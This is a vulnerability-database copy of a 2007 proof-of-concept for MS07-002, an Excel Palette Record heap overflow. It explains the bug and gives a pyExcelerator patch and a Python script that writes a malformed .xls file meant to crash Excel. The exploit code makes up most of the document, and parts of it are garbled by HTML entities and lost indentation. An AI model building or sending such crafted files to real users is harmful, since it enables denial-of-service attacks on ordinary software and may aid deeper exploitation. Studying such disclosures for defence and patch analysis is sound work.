Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:15943
HistoryFeb 01, 2007 - 12:00 a.m.

MS07-002 EXCEL Malformed Palette Record Vulnerability DOS POC

2007-02-0100:00:00
vulners.com
10

"""
MS07-002 EXCEL Malformed Palette Record Vulnerability DOS POC

Author

LifeAsaGeek at gmail.com
… and Microsoft said that vuln credit is for Greg MacManus of iDefense Labs

########################
Vulnerablity Description
########################
Bound error occurs when parsing Palette Record and it causes Heap Overflow
check out here - http://picasaweb.google.com/lifeasageek/MS07002/photo?pli=1#5022146178204021506
which is generated by DarunGrim
( and I want to say I'm not a person who made this analyzer ==; )

#############
Attack Vector
#############
Arbitary Data will be overwritten to the heap, but arbitary data is highly depends on the stack status !
Result of heap overflow, you can overwrite 2 bytes to restricted range address ( not anywhere )
In CERTAIN environment( such as open excel file which is already opened)
you can catch the flow by modify function pointer, but it doesn't have a reliablity at all
Let me know if you have a good method to break down

Result

DOS

Notes

You should modify pyExcelerator module because it doesn't generate Palette Record

pyExcelerator diff results would be like below

diff h:\study\pyexcelerator-0.6.3a\pyExcelerator-0.6.3a\build\lib\pyExcelerator\BIFFRecords.py pyExcelerator\BIFFRecords.py
1104a1105,1108
> def init(self):
> BiffRecord.init(self)
> self._rec_data = pack('<H', 0x0038) # number of colours
> self._rec_data += 'A' * 0xe0
diff h:\study\pyexcelerator-0.6.3a\pyExcelerator-0.6.3a\build\lib\pyExcelerator\Workbook.py pyExcelerator\Workbook.py
468,469c468
< result = ''
< return result

> return BIFFRecords.PaletteRecord().get()

!! THIS IS ONLY FOR EDUCATIONAL PURPOSE !!

  • 2007.01.25
    """

import sys, os
from struct import *
from pyExcelerator import *

def CreateXLS():
w = Workbook()
ws = w.add_sheet('MS07-002 POC')
w.save( "before.xls")

def ModifyXLS():
try:
f = open( "before.xls", "rb")
except:
print "File Open Error ! "
sys.exit(0)

str = f.read&#40;&#41;
f.close&#40;&#41;

#write to malformed xls file
f = open&#40; &quot;after.xls&quot;, &quot;wb&quot;&#41;

PaletteRecord = pack&#40; &quot;&lt;HHH&quot;, 0x0092, 0x00E2, 0x0038&#41;
NewPaletteRecord = pack&#40; &quot;&lt;HHH&quot;, 0x0092, 0x00E2, 0x01FF&#41;

palette_idx = str.find&#40; PaletteRecord&#41;

if palette_idx == -1:
 print &quot;Cannot find Palette Record&quot;
 sys.exit&#40;0&#41;

str = str.replace&#40; PaletteRecord, NewPaletteRecord&#41;
f.write&#40; str&#41;
f.close&#40;&#41;

if name == "main":
print "==========================================================="
print "MS07-002 Malformed Palette Record vulnerability DOS POC "
print "Create POC Excel File after.xls"
print "by LifeAsaGeek at gmail.com"
print "==========================================================="
CreateXLS()
ModifyXLS()